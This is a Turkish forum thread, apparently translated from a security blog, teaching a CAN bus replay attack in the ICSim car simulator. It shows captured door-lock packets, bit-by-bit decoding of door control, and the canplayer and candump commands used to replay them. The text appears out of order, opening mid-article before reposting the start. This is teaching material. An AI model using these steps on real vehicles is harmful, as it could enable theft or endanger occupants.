(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
vay be hiç aklımdan geçmezdi araba hacklemek helal olsun kardeşim eline sağlık :D
 
Moderatör tarafında düzenlendi:

radanex

Üye
29 Nis 2023
64
9
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s 
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean             
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make 
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                 
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0 
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l               
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                   
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                         
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
